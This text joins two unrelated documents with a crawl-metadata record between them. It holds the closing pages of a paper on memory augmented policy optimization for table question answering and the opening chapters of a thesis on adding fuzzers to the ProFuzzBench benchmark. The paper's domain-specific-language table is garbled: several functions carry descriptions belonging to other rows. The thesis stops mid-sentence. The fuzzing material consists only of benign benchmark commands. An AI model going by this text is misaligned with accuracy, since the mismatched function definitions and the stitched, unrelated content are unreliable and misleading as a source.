$O_{\text{MML}}$. • IML: Iterative Maximum Likelihood training [26, 2] uniformly maximizes the likelihood of all the trajectories with the highest rewards \( \mathbb{O}_\text{ML}(\theta) = \sum_{a \in B} \log p_\theta(a) \). Because the memory buffer is too large to enumerate, we use samples from the buffer to approximate the gradient for MML and IML, and uses samples with highest \( p_\theta(a) \) for Hard EM. The results are summarized in Table 2. We show the accuracy curves on the dev set in Figure 2. Remving systematic exploration or the memory weight clipping significantly weaken MAPO possibly because high-reward trajectories are not found or easily forgotten. REINFORCE barely learns anything useful because starting from a random policy, most samples result in a reward of zero. MML and Hard EM converge faster, but the learned models underperform MAPO, which suggests that the expected return is a better objective. IML runs faster than MML and MAPO because it randomly samples from the buffer, but the objective is prone to spurious programs. ### 5.3 Comparison to state-of-the-art On WikITABLEQUESTIONS (Table 3), MAPO is the first RL-based approach that significantly outperforms the previous state-of-the-art by 2.6%. Unlike previous work, MAPO does not require manual feature engineering or additional human annotation. On WikISQL (Table 4), even though MAPO does not exploit ground truth programs (weak supervision), it is able to outperform many strong baselines trained using programs (full supervision). The techniques introduced in other models can be incorporated to further improve the result of MAPO, but we leave that as future work. We also qualitatively analyzed a trained model and see that it can generate fairly complex programs. See the Supplementary Material for some examples of generated programs. ### 5.4 Analysis of Memory Weight Clipping In this subsection, we present an analysis of the bias introduced by memory weight clipping. We define the clipping fraction as the percentage of examples where the clipping is active. In other words, it is the percentage of examples with a non-empty memory buffer, for which \( \pi_B < \alpha \). It is also the fraction of examples whose gradient computation will be biased by the clipping, so the higher the value, the more bias, and the gradient is unbiased when the clip fraction is zero. In figure 3 one can observe that the clipping fraction approaches zero towards the end of training and is negatively correlated with the training accuracy. In the experiments, we found that a fixed clipping threshold works well, but we can also gradually decrease the clipping threshold to completely remove the bias. ### 6 Related work **Program synthesis & semantic parsing.** There has been a surge of recent interest in applying reinforcement learning to program synthesis [10, 2, 64, 53] and combinatorial optimization [70, 71]. Different from these efforts, we focus on the contextualized program synthesis where generalization --- 1. Krishnamurthy et al. [24] achieved 45.9 accuracy when trained on the data collected with dynamic programming and pruned with more human annotations [41, 32]. to new contexts is important. Semantic parsing maps natural language to executable symbol representations. Training semantic parsers through weak supervision is challenging because the model must interact with a symbolic interpreter through non-differentiable operations to search over a large space of programs. Previous work reports negative results when applying simple policy gradient methods like REINFORCE, which highlights the difficulty of exploration and optimization when applying RL techniques. MAPO takes advantage of discrete and deterministic nature of program synthesis and significantly improves upon REINFORCE. Experience replay. An experience replay buffer enables storage and usage of past experiences to improve the sample efficiency of RL algorithms. Prioritized experience replay prioritizes replays based on temporal-difference error for more efficient optimization. Hindsight experience replay incorporates goals into replays to deal with sparse rewards. MAPO also uses past experiences to tackle sparse reward problems, but by storing and reusing high-reward trajectories, similar to. Previous work assigns a fixed weight to the trajectories, which introduces bias into the policy gradient estimates. More importantly, the policy is often trained equally on the trajectories that have the same reward, which is prone to spurious programs. By contrast, MAPO uses the trajectories in a principled way to obtain an unbiased low variance gradient estimate. Variance reduction. Policy optimization via gradient descent is challenging because of: (1) large variance in gradient estimates; (2) small gradients in the initial phase of training. Prior variance reduction approaches mainly relied on control variate techniques by introducing a critic model. MAPO takes a different approach to reformulate the gradient as a combination of expectations inside and outside a memory buffer. Standard solutions to the small gradient problem involves supervised pretraining or using supervised data to generate rewarding samples, which cannot be applied when supervised data are not available. MAPO reduces the variance by sampling from a smaller stochastic space or through stratified sampling, and accelerates and stabilizes training by clipping the weight of the memory buffer. Exploration. Recently there has been a lot of work on improving exploration by introducing additional reward based on information gain or pseudo count. For program synthesis, the search spaces are enumerable and deterministic. Therefore, we propose to conduct systematic exploration, which ensures that only novel trajectories are generated. 7 Conclusion We present memory augmented policy optimization (MAPO) that incorporates a memory buffer of promising trajectories to reduce the variance of policy gradients. We propose 3 techniques to enable an efficient algorithm for MAPO: (1) memory weight clipping to accelerate and stabilize training; (2) systematic exploration to efficiently discover high-reward trajectories; (3) distributed sampling from inside and outside memory buffer to scale up training. MAPO is evaluated on real world program synthesis from natural language / semantic parsing tasks. On WIKITABLEQUESTIONS, MAPO is the first RL approach that significantly outperforms previous state-of-the-art; on WIKIQL, MAPO trained with only weak supervision outperforms several strong baselines trained with full supervision. Acknowledgments We would like to thank Dan Abolafia, Ankur Taly, Thanapon Noraset, Arvind Neelakantan, Wenyun Zuo, Chenchen Pan and Mia Liang for helpful discussions. Jonathan Berant was partially supported by The Israel Science Foundation grant 942/16. References A Domain Specific Language We adopt a Lisp-like domain specific language with certain built-in functions. A program $C$ is a list of expressions $(c_1...c_N)$, where each expression is either a special token “EOS” indicating the end of the program, or a list of tokens enclosed by parentheses “$(F.A_1...A_K)$”. $F$ is a function, which takes as input $K$ arguments of specific types. Table A defines the arguments, return value and semantics of each function. In the table domain, there are rows and columns. The value of the table cells can be number, date time or string, so we also categorize the columns into number columns, date time columns and string columns depending on the type of the cell values in the column. <table> <thead> <tr> <th>Function</th> <th>Arguments</th> <th>Returns</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>(hop v p)</td> <td>v: a list of rows. p: a column.</td> <td>a list of cells.</td> <td>Select the given column of the given rows.</td> </tr> <tr> <td>(argmax v p)</td> <td>v: a list of rows. p: a number or date column.</td> <td>a list of rows.</td> <td>From the given rows, select the ones with the largest / smallest value in the given column.</td> </tr> <tr> <td>(argmin v p)</td> <td>v: a list of rows. p: a number or date column.</td> <td>a list of rows.</td> <td>From the given rows, select the ones whose given column has certain order relation with the given value.</td> </tr> <tr> <td>(filter s v q p)</td> <td>v: a list of rows. q: a number or date. p: a number or date column.</td> <td>a list of rows.</td> <td>From the given rows, select the ones whose given column contain / do not contain the given string.</td> </tr> <tr> <td>(first v)</td> <td>v: a list of rows.</td> <td>a row.</td> <td>From the given rows, select the one with the smallest / largest index.</td> </tr> <tr> <td>(last v)</td> <td>v: a list of rows.</td> <td>a row.</td> <td>From the given rows, select the one with the smallest / largest index.</td> </tr> <tr> <td>(previous v)</td> <td>v: a row.</td> <td>a row.</td> <td>Select the row that is above / below the given row.</td> </tr> <tr> <td>(next v)</td> <td>v: a row.</td> <td>a row.</td> <td>Select the row that is above / below the given row.</td> </tr> <tr> <td>(count v)</td> <td>v: a list of rows.</td> <td>a number.</td> <td>Count the number of given rows.</td> </tr> <tr> <td>(max v p)</td> <td>v: a list of rows. p: a number column.</td> <td>a number.</td> <td>Compute the maximum / minimum / average / sum of the given column in the given rows.</td> </tr> <tr> <td>(min v p)</td> <td>v: a list of rows. p: a number column.</td> <td>a number.</td> <td>Compute the maximum / minimum / average / sum of the given column in the given rows.</td> </tr> <tr> <td>(average v p)</td> <td>v: a list of rows. p: a number column.</td> <td>a number.</td> <td>Compute the maximum / minimum / average / sum of the given column in the given rows.</td> </tr> <tr> <td>(sum v p)</td> <td>v: a list of rows. p: a number column.</td> <td>a number.</td> <td>Compute the maximum / minimum / average / sum of the given column in the given rows.</td> </tr> <tr> <td>(mode v p)</td> <td>v: a list of rows. p: a column.</td> <td>a cell.</td> <td>Get the most common value of the given column in the given rows.</td> </tr> <tr> <td>(same_as v p)</td> <td>v: a row. p: a column.</td> <td>a list of rows.</td> <td>Get the rows whose given column is the same as the given row.</td> </tr> <tr> <td>(diff v0 v1 p)</td> <td>v0: a row. v1: a row. p: a number column.</td> <td>a number.</td> <td>Compute the difference in the given column of the given two rows.</td> </tr> </tbody> </table> Table 5: Functions used in the experiments. In the WikiTableQuestions experiments, we used all the functions in the table. In the WikiSQL experiments, because the semantics of the questions are simpler, we used a subset of the functions (hop, filter_s, filter_t, filter_<, filter>, count, maximum, minimum, average and sum). We created the functions according to [67, 34]. \(^2\)The only function we have added to capture some complex semantics is the same_as function, but it only appears in 1.2% of the generated programs (among which 0.6% are correct and the other 0.6% are incorrect), so even if we remove it, the significance of the difference in Table 3 will not change. B Examples of Generated Programs The following table shows examples of several types of programs generated by a trained model. <table> <thead> <tr> <th>Statement</th> <th>Comment</th> </tr> </thead> <tbody> <tr> <td><strong>Superlative</strong></td> <td></td> </tr> <tr> <td>nt-13901: the most points were scored by which player?</td> <td>Sort all rows by column ‘points’ and take the first row.</td> </tr> <tr> <td>(argmax all_rows r.points-num)</td> <td></td> </tr> <tr> <td>(hop v0 r.player-str)</td> <td>Output the value of column ‘player’ for the rows in v0.</td> </tr> </tbody> </table> | **Difference** | | | nt-457: how many more passengers flew to los angeles than to saskatoon? | Find the row with ‘saskatoon’ matched in column ‘city’ and the row with ‘los angeles’ matched in column ‘city’. | | (filter all_rows [‘saskatoon’] r.city-str) | | | (filter all_rows [‘los angeles’] r.city-str) | | | (diff v1 v0 r.passengers-num) | Calculate the difference of the values in the column ‘passenger’ of v0 and v1. | | **Before / After** | | | nt-10832: which nation is before peru? | Find the row before v0. | | (filter all_rows [‘peru’] r.nation-str) | | | (previous v0) | | | (hop v1 r.nation-str) | Output the value of column ‘nation’ of v1. | | **Compare & Count** | | | nt-647: in how many games did sri lanka score at least 2 goals? | Select the rows whose value in the ‘score’ column >= 2. | | (filter all_rows [2] r.score-num) | | | (count v0) | Count the number of rows in v0. | | **Exclusion** | | | nt-1133: other than william stuart price, which other businessman was born in tulsa? | | | (filter all_rows [‘tulsa’] r.hometown-str) | Find rows with ‘tulsa’ matched in column ‘hometown’. | | (filter v0 [‘william stuart price’] r.name-str) | Drop rows with ‘william stuart price’ matched in the value of column ‘name’. | | (hop v1 r.name-str) | Output the value of column ‘name’ of v1. | Table 6: Example programs generated by a trained model. C Analysis of Sampling from Inside and Outside Memory Buffer In the following we give theoretical analysis of the distributed sampling approaches. For the purpose of the analysis we assume binary rewards, and exhaustive exploration, that the buffer $B^+ \equiv B$ contains all the high reward samples, and $B^- \equiv A \setminus B_a$ contains all the non-rewarded samples. It provides a general guidance of how examples should be allocated on the experiences and whether to use baseline or not so that the variance of gradient estimations can be minimized. In our work, we take the simpler approach to not use baseline and leave the empirical investigation to future work. C.1 Variance: baseline vs no baseline Here we compare baseline strategies based on their variances of gradient estimations. We thank Wenyun Zuo’s suggestion in approximating the variances. Assume $\sigma_+^2 = Var_{\pi_+} [\nabla \log \pi(a)]$ and $\sigma_-^2 = Var_{\pi_-} [\nabla \log \pi(a)]$ are the variance of the gradient of the log likelihood inside and outside the buffer. If we don’t use a baseline, the optimal sampling strategy is to only sample from $B$. The variance of the gradient estimation is $$\text{Var}[\nabla O_{ER}] \approx \pi(\mathcal{B})^2 \sigma_+^2$$ (9) If we use a baseline $b = \pi_\theta(B)$ and apply the optimal sampling allocation (Section C.2), then the variance of the gradient estimation is $$\text{Var}[\nabla O_{ER}]_b \approx \pi_\theta(B)^2(1 - \pi_\theta(B))^2(\sigma_+^2 + \sigma_-^2)$$ (10) We can prove that both of these estimators reduce the variance for the gradient estimation. To compare the two, we can see that the ratio of the variance with and without baseline is $$\frac{\text{Var}[\nabla O_{ER}]_b}{\text{Var}[\nabla O_{ER}]} = (1 + \frac{\sigma_-^2}{\sigma_+^2})(1 - \pi_\theta(B))^2$$ (11) So using baseline provides lower variance when $\pi_\theta(B) \approx 1.0$, which roughly corresponds to the later stage of training, and when $\sigma_-^2$ is not much larger than $\sigma_+^2$; it is better to not use baselines when $\pi_\theta(B)$ is not close to 1.0 or when $\sigma_-^2$ is much larger than $\sigma_+^2$. C.2 Optimal Sample Allocation Given that we want to apply stratified sampling to estimate the gradient of REINFORCE with baseline $b$, here we show that the optimal sampling strategy is to allocate the same number of samples to $B$ and $A - B$. Assume that the gradient of log likelihood has similar variance on $B$ and $A - B$: $$\text{Var}\pi_\theta^+, (a)[\nabla \log \pi_\theta^+(a)] \approx \text{Var}\pi_\theta^-, (a)[\nabla \log \pi_\theta^-(a)] = \sigma^2$$ (12) The variance of gradient estimation on $B$ and $A - B$ are: $$\text{Var}\pi_\theta^+, (a)[(1 - \pi_\theta(B))\nabla \log \pi_\theta(a)] = (1 - \pi_\theta(B))^2 \sigma^2$$ $$\text{Var}\pi_\theta^-, (a)[(-\pi_\theta(B))\nabla \log \pi_\theta(a)] = \pi_\theta(B)^2 \sigma^2$$ (13) When performing stratified sampling, the optimal sample allocation is to let the number of samples from a stratum be proportional to its probability mass times the standard deviation $P_i \sigma_i$. In other words, the more probability mass and the more variance a stratum has, the more samples we should draw from a stratum. So the ratio of the number of samples allocated to each stratum under the optimal sample allocation is $$\frac{k^+}{k^-} = \frac{\pi_\theta(B) \sqrt{\text{Var}\pi_\theta^+, (a)}}{1 - \pi_\theta(B) \sqrt{\text{Var}\pi_\theta^-, (a)}}$$ (14) Using equation 13, we can see that $$\frac{k^+}{k^-} = 1$$ (15) So the optimal strategy is to allocate the same number of samples to $B$ and $A - B$. D Distributed Actor-Learner Architecture ![Figure 4: Distributed actor-learner architecture.](image-url)
{"Source-Url": "http://arxiv-export-lb.library.cornell.edu/pdf/1807.02322", "len_cl100k_base": 11339, "olmocr-version": "0.1.53", "pdf-total-pages": 16, "total-fallback-pages": 0, "total-input-tokens": 58320, "total-output-tokens": 16522, "length": "2e13", "weborganizer": {"__label__adult": 0.00047659873962402344, "__label__art_design": 0.0007276535034179688, "__label__crime_law": 0.0004715919494628906, "__label__education_jobs": 0.0013456344604492188, "__label__entertainment": 0.00019419193267822263, "__label__fashion_beauty": 0.00024628639221191406, "__label__finance_business": 0.00037217140197753906, "__label__food_dining": 0.0004117488861083984, "__label__games": 0.00125885009765625, "__label__hardware": 0.001194000244140625, "__label__health": 0.0006685256958007812, "__label__history": 0.0004279613494873047, "__label__home_hobbies": 0.00016176700592041016, "__label__industrial": 0.000568389892578125, "__label__literature": 0.0005917549133300781, "__label__politics": 0.00038552284240722656, "__label__religion": 0.0005698204040527344, "__label__science_tech": 0.1278076171875, "__label__social_life": 0.0001361370086669922, "__label__software": 0.01110076904296875, "__label__software_dev": 0.849609375, "__label__sports_fitness": 0.0003771781921386719, "__label__transportation": 0.0006513595581054688, "__label__travel": 0.0002391338348388672}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 58939, 0.03871]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 58939, 0.33306]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 58939, 0.8179]], "google_gemma-3-12b-it_contains_pii": [[0, 3188, false], [3188, 8622, null], [8622, 12463, null], [12463, 15729, null], [15729, 20671, null], [20671, 25683, null], [25683, 29629, null], [29629, 32794, null], [32794, 36481, null], [36481, 40580, null], [40580, 44535, null], [44535, 48578, null], [48578, 49681, null], [49681, 53384, null], [53384, 56456, null], [56456, 58939, null]], "google_gemma-3-12b-it_is_public_document": [[0, 3188, true], [3188, 8622, null], [8622, 12463, null], [12463, 15729, null], [15729, 20671, null], [20671, 25683, null], [25683, 29629, null], [29629, 32794, null], [32794, 36481, null], [36481, 40580, null], [40580, 44535, null], [44535, 48578, null], [48578, 49681, null], [49681, 53384, null], [53384, 56456, null], [56456, 58939, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 58939, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 58939, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 58939, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 58939, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 58939, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 58939, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 58939, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 58939, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 58939, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 58939, null]], "pdf_page_numbers": [[0, 3188, 1], [3188, 8622, 2], [8622, 12463, 3], [12463, 15729, 4], [15729, 20671, 5], [20671, 25683, 6], [25683, 29629, 7], [29629, 32794, 8], [32794, 36481, 9], [36481, 40580, 10], [40580, 44535, 11], [44535, 48578, 12], [48578, 49681, 13], [49681, 53384, 14], [53384, 56456, 15], [56456, 58939, 16]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 58939, 0.14837]]}
olmocr_science_pdfs
2024-12-11
2024-12-11
8ea91fd2fb434c6bc9c435deb82aafa923b380f3
Extending ProFuzzBench A Benchmark for Stateful Fuzzers Fouad Lamsettef s1034545 June 28, 2023 First supervisor/assessor: Dr. Ir. Erik Poll Second assessor: Prof. Dr. Frits Vaandrager Second supervisor: Cristian Daniele Third supervisor: Seyed Bahnam Andarzian Abstract Nowadays, fuzzing has become very popular in recent years due to its effectiveness in finding security vulnerabilities in a system under test (SUT), which can be easily automated. Fuzzing uses a lot of carefully crafted, automatically generated input and checks whether the SUT performs any unexpected behaviour, like, for example, crashes, which may reveal valuable information for an attacker. Fuzzing is an effective strategy for SUTs that use stateless protocols. However, these fuzzers fall short for SUTs that use stateful protocols because they unable to progress further to a meaningful state in the system. This is mostly the case in network protocols, and the research community has responded by developing a lot of fuzzers which are better suited for stateful systems. But how does one choose the fuzzer that is the "best" for a specific stateful protocol? To answer that question, we must compare fuzzers with each other for each stateful protocol. This is where ProFuzzBench can offer a solution. ProFuzzBench is a benchmark that provides a framework for testing fuzzers for network protocols. This benchmark includes a handful of open-source network servers for popular network protocols like TLS, SSH, and FTP. The goal of ProFuzzBench is to provide a framework to benchmark fuzzers in a well-defined environment to obtain reproducible and quantitative results. In this thesis, we extend ProFuzzBench with three fuzzers, namely SNPSFuzzer, Nyx-Net, and BooFuzz and evaluate the process of extending ProFuzzBench. Furthermore, we compare the added fuzzers with AFLnet and AFLnwe, fuzzers which are provided with ProFuzzBench. In the end, we also discuss about the reproducibility of fuzzers. Contents 1 Introduction 3 2 Preliminaries 4 2.1 Fuzzing in general . . . . . . . . . . . . . . . . . . . . . . . 4 2.2 White- and blackbox fuzzers . . . . . . . . . . . . . . . . . 5 2.3 Greybox fuzzers . . . . . . . . . . . . . . . . . . . . . . . . 5 2.4 Feedback metrics . . . . . . . . . . . . . . . . . . . . . . . . 5 2.4.1 Coverage . . . . . . . . . . . . . . . . . . . . . . . . 5 2.4.2 Bugs . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 2.5 Docker . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 3 ProFuzzBench 8 3.1 Workflow . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 3.2 Installing ProFuzzBench . . . . . . . . . . . . . . . . . . . . 9 3.3 Running ProFuzzBench on LightFTP . . . . . . . . . . . . . 9 3.3.1 Analysing the results . . . . . . . . . . . . . . . . . . . 9 3.4 Issues . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 3.4.1 Address sanitizer . . . . . . . . . . . . . . . . . . . . . 10 4 Extending ProFuzzBench 12 4.1 Finding compatible fuzzers . . . . . . . . . . . . . . . . . . 12 4.2 Testing Environment . . . . . . . . . . . . . . . . . . . . . . 14 4.3 AFLnet and AFLnwe . . . . . . . . . . . . . . . . . . . . . . . 14 4.3.1 Building and running AFLnet and AFLnwe . . . . . . 14 4.4 SNPSFuzzer . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15 4.4.1 Building and running SNPSFuzzer . . . . . . . . . . . . 15 4.5 ProFuzzBench plotting modifications . . . . . . . . . . . . . 17 4.6 Coverage results of AFLnet, AFLnwe and SNPSFuzzer . . . . 18 4.7 BooFuzz . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21 4.7.1 Building and running BooFuzz . . . . . . . . . . . . . 21 4.8 Performance results of BooFuzz on LightFTP . . . . . . . . . 22 4.9 Nyx-Net . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22 4.9.1 Building and running Nyx-Net . . . . . . . . . . . . . 22 5 Reproducibility of fuzzing 5.1 ACM artifact review for reproducibility .......................... 26 6 Future Work 6.1 Adding more fuzzers to ProFuzzBench ............................ 27 6.2 Extending the duration of fuzzing ................................. 27 6.3 Testing on different SUT’s ............................................ 27 6.4 Adding coverage to blackbox fuzzers ............................. 28 6.5 Vulnerabilities as a performance metric ......................... 28 7 Conclusions ................................................................. 29 A Appendix A.1 Dockerfile SNPSFuzzer ................................................. 33 A.2 Modifications ProFuzzBench Scripts ............................... 36 A.3 Grammar model BooFuzz .............................................. 37 Chapter 1 Introduction Fuzzing is an approach in which a system is fed a large amount of generated inputs to detect security vulnerabilities, such as memory leaks or unexpected crashes. A significant advantage of fuzzing is its ability to find a considerable amount of bugs with relatively little effort. Fuzzers often target stateless systems where the SUT (system under test) accepts only a single input and the fuzzer attempts numerous inputs to achieve an undesired result [1]. However, some fuzzers struggle with stateful systems because fuzzers can only try to multiple inputs for the initial state and fail to progress to deeper states. This necessitates the use of fuzzers designed to work with stateful systems. Many network protocols require the system and client connection to be in a state where messages can be exchanged. The state may change between messages sent between the system and client. We refer to these protocols, which require a sequence of messages, as stateful system. With stateful systems, each input may alter the internal state of the system. In this thesis we answer the following questions: • Is ProFuzzBench a sufficient solution for benchmarking fuzzers for multiple targets like for example FTP and SSH? • How easy is adding fuzzers to ProFuzzbench? • Is benchmarking even necessary? This thesis is outlined as follows: Chapter 2 defines the basic terminology of fuzzing and different types of fuzzers. Chapter 3 presents the ProFuzzBench tool and its usage. Chapter 4 presents our experiments and in Chapter 5 we will discuss the reproducibility of fuzzing. In Chapter 6 we will discuss potential future work and in Chapter 7 we present our conclusion. Chapter 2 Preliminaries In this chapter we present background information regarding fuzzing techniques and the underlying technology for ProFuzzBench like docker and AFL. In section 2.1 we talk about the need for fuzzing. In section 2.2, 2.3, we present an overview three high-level fuzzing approaches: blackbox, grey-box and white box fuzzing. The feedback metrics like code coverage and bugs are explained in section 2.4. A brief summary of docker and how it works is introduced in section 2.5. 2.1 Fuzzing in general Fuzzing is a way to detect security vulnerabilities in software. There are many approaches for detecting security vulnerabilities in software. - **Static program analyzers** that check for code structure like missing a semicolon or missing brackets and are fast in flagging those kinds of mistakes. It can also look if data objects in code are properly used (data flow analysis). However, static program analyzers are prone to false positives and they, unfortunately, won’t catch every bug. - **Code inspection**, this consists of peer-reviewing code, which is already a common practice in software development. Another form of manual code inspection is **penetration testing** where security experts review code where the focus is on the security of the code rather than its functionality of the code. Penetration testing applies to any software and does not require much tooling. However, penetration testing is very labor-intensive and people who do penetration testing are very specialized and they are in high demand[2]. This is where fuzzing can fit in between those two methods. 2.2 White- and blackbox fuzzers There are many approaches of fuzzing. Most common ones of fuzzing are greybox fuzzing, blackbox fuzzing and whitebox fuzzing. Blackbox fuzzing often involves using generated input on software where we do not know the internal implementation of the SUT. Blackbox fuzzing requires some given knowledge of the input format[3]. Blackbox fuzzers can make use of a approach which most commonly used in grammar-based fuzzers which is using a given model or grammar. However, the downside of those fuzzers is that it requires some effort in creating those models or grammars. Another approach is supplying the fuzzer with a set of inputs where the a part of the input is mutated in hopes to finding bugs. This approach is commonly used in mutation-based fuzzers. We have blackbox fuzzers where we do not know the internal implementation of the SUT. With whitebox fuzzers on the other hand we have full knowledge of the internal implementations of the SUT. This means we have can see and analyse all of the code of the SUT. We can construct interesting inputs to trigger certain branches. Whitebox fuzzers typically use symbolic execution to gather constraints on inputs from branches encountered along the execution[2]. With this the fuzzer can execute a new path with each execution. This may take some time when dealing with larger programs which typically have many paths. 2.3 Greybox fuzzers We have discussed two ends of the fuzzing spectrum but there is another approach of fuzzing which lies between blackbox and whitebox fuzzing, greybox fuzzing. Greybox fuzzers can observe some aspects of the SUT and use the feedback to discover new paths. Their input is mutated after every execution(like blackbox fuzzers) and use the feedback to make a meaningful mutation for the next execution. One of the most popular greybox fuzzers is AFL which is discussed in section 4.3. 2.4 Feedback metrics We need some sort of metric to evaluate the performance of a fuzzer on a target (SUT). In this section we explain what code coverage entails and how fuzzers can use these metrics as feedback. 2.4.1 Coverage One metric that is commonly used to measure the quality of a test is code coverage, where the number of lines executed by a set of tests is divided by the number of lines of the program. This gives a broad idea of the thoroughness of the test[4]. Code coverage can be used at different levels of the code, in this work we mainly use line coverage and branch coverage. **Branch coverage**, this measures the number of execution paths (e.g if-statements, switch cases) that the fuzzer has found during execution. Knowing which paths are executed can give a better insight of the flow of the target. Branch coverage is mainly useful for whitebox and greybox fuzzing due to the required internal knowledge of the target. **Line coverage**, this measures the number of statements covered by the fuzzers. The difference with line coverage and branch coverage is that a high line coverage does not automatically mean a high branch coverage. Take this if-statement for example: ```c if(cond) { line1(); line2(); line3(); line4(); } else { line5(); } ``` The line coverage will be 80 percent while the branch coverage is only 50 percent. Nonetheless, line coverage already gives meaningful insights on how good a fuzzers works on a SUT, if a fuzzers does not have good line coverage then the branch coverage will be even worse in a SUT where programs are even larger then shown in the example. ### 2.4.2 Bugs During the process of fuzzing the SUT, we see bugs as the number of times the SUT crashes or hangs. Any fuzzers can also measure the number of crashes that happened during the fuzzing of the SUT, a crash is unique if it is not equivalent to previously occurred crashes. These unique crashes could give insight on to why the SUT crashes on this input and where in the code this happened, which means that we have found a bug. This gives us a performance metric for fuzzers with the amount of crashes or hangs found in the SUT. Fuzzers can be tested on how many known bugs it can find in the SUT, but finding unique bugs usually a manual process mainly due to bugs causing errors at several lines and different parts of the SUT. This makes using bugs as a heuristic not ideal during fuzzing but it is great as a performance evaluation after fuzzing. ### 2.5 Docker ProFuzzBench uses docker to automate the building, compiling and running of the fuzzers and the targets. Docker is a software platform that enables rapid building, testing, and deployment of applications. It accomplishes this by packaging software into standardized containers that contain all the necessary components, such as libraries, system tools, code, and runtime, needed for the software to operate. By utilizing Docker, applications can be swiftly deployed and scaled in any environment with the assurance that the code will function properly. Chapter 3 ProFuzzBench ProFuzzBench (Protocol Fuzzing Benchmark) is a benchmark for fuzzing of stateful systems that are defined on network protocols like SSH, TLS and FTP [5]. These protocols are packaged in open-source software in order to do actual fuzzing. ProFuzzBench provides a framework for automating, configuration and execution for fuzzing a stateful system. In section 3.1 we discuss how to install ProFuzzBench. Furthermore, we give an example how of fuzzing a target with ProFuzzBench in section 3.2. 3.1 Workflow ProFuzzBench uses a set of utilities to automate the compiling, running and analyzing of the target. ProFuzzBench uses docker containers for this automation and this is represented in figure 3.1. During the build process, the fuzzers and the SUT are downloaded from their respective repositories and compiled. This happens during the building of the docker container itself. In the second stage, the fuzzing is done inside the docker container and those results are copied to the host machine. The third stage happens on the host machine where coverage is computed and plotted. The aim of ProFuzzBench is that we can do this workflow with other fuzzers with a similar amount of steps. Figure 3.1: ProFuzzBench workflow using docker containers 3.2 Installing ProFuzzBench The ProFuzzBench repository\footnote{https://github.com/profuzzbench/profuzzbench} has quite detailed documentation on how to install ProFuzzBench on a local machine including instructions on building the docker images of each protocol. 3.3 Running ProFuzzBench on LightFTP If we want to run fuzzing on a protocol (for example FTP) we first need to build the docker image containing the software (in this case lightFTP). This can be done with the following command: 1. cd $PFBENCH 2. cd subjects/FTP/LightFTP 3. docker build . -t lightftp We need to store our results, so we make a folder and pass that path to ProFuzzBench, we can then run both AFLnet and AFLnwe for 60 minutes (3600 seconds): 1. mkdir results - lightftp 2. profuzzbench_exec_common.sh lightftp 4 results-lightftp aflnet out-lightftp-aflnet "-P FTP -D 10000 -q 3 -s 3 -E -K -m none" 3600 5 & 3. profuzzbench_exec_common.sh lightftp 4 results-lightftp aflnwe out-lightftp-aflnwe "-D 10000 -K -m none" 3600 5 3.3.1 Analysing the results The output of AFL fuzzers is in terms of code coverage over time (see chapter 4) and to make plots we need to reformat it into a csv file: 1. cd $PFBENCH/results-lightftp 2. profuzzbench_generate_csv.sh lightftp 4 aflnet results-lightftp aflnet out-lightftp-aflnet "-P FTP -D 10000 -q 3 -s 3 -E -K -m none" 3600 5 & 3. profuzzbench_generate_csv.sh lightftp 4 aflnwe results-lightftp aflnwe out-lightftp-aflnwe "-D 10000 -K -m none" 3600 5 The results.csv file shown in table\footnote{https://github.com/profuzzbench/profuzzbench} has six columns showing the timestamp, subject program, fuzzer name, run index, coverage type and its value. The file contains both line coverage and branch coverage over time information. Each coverage type comes with two values, in percentage (_per) and in absolute number (_abs). With this we can make our line coverage and edge coverage plots. Now that we have the results in a usable format and we run the following command to generate the plots: ``` profuzzbench_plot.py -i results.csv -p lightftp -r 4 -c 60 -s 1 -o cov_over_time.png ``` ### 3.4 Issues #### 3.4.1 Address sanitizer However, running ProFuzzBench did not go as smoothly as installing it. Apparently, afl-fuzzers are included in the benchmark crash because afl-fuzzers automatically set a memory limit when they run and that makes the fuzzers crash with the address sanitizer (a memory error detector for C/C++). This can be fixed by running the fuzzers with the option `-m none` which removes the memory limit on the fuzzers. This was not an easy thing to debug and there is no documentation on it in the ProFuzzBench repository. Chapter 4 Extending ProFuzzBench In this chapter, we present the methodology used to implement new fuzzers to ProFuzzBench and the limitations of ProFuzzBench. Furthermore, we do a case study where we compare SNPSFuzzer\(^1\) AFLnet (which is included by ProFuzzBench), BooFuzz\(^2\) and Nyx-Net on LightFTP\(^3\) an open source FTP server. In section 4.1, we discuss about compatible fuzzers for the experiments. In section 4.2 we present our testing environment. In this testing environment, we extend ProFuzzBench: - We describe the functionality of AFLnet and AFLnwe. We show how AFLnet and AFLnwe can be build and run on LightFTP in section 4.3. - We describe the functionality of SNPSFuzzer and discuss the configuration for running SNPSFuzzer on LightFTP in section 4.4. We discuss the results of SNPSFuzzer, AFLnet and AFLnwe in section 4.6. - We present the modifications done to the analysis script such that we can plot the results from SNPSFuzzer on LightFTP in section 4.5. - We describe the functionality of BooFuzz and show how we can build and run BooFuzz on LightFTP in section 4.7. We discuss the results of BooFuzz in 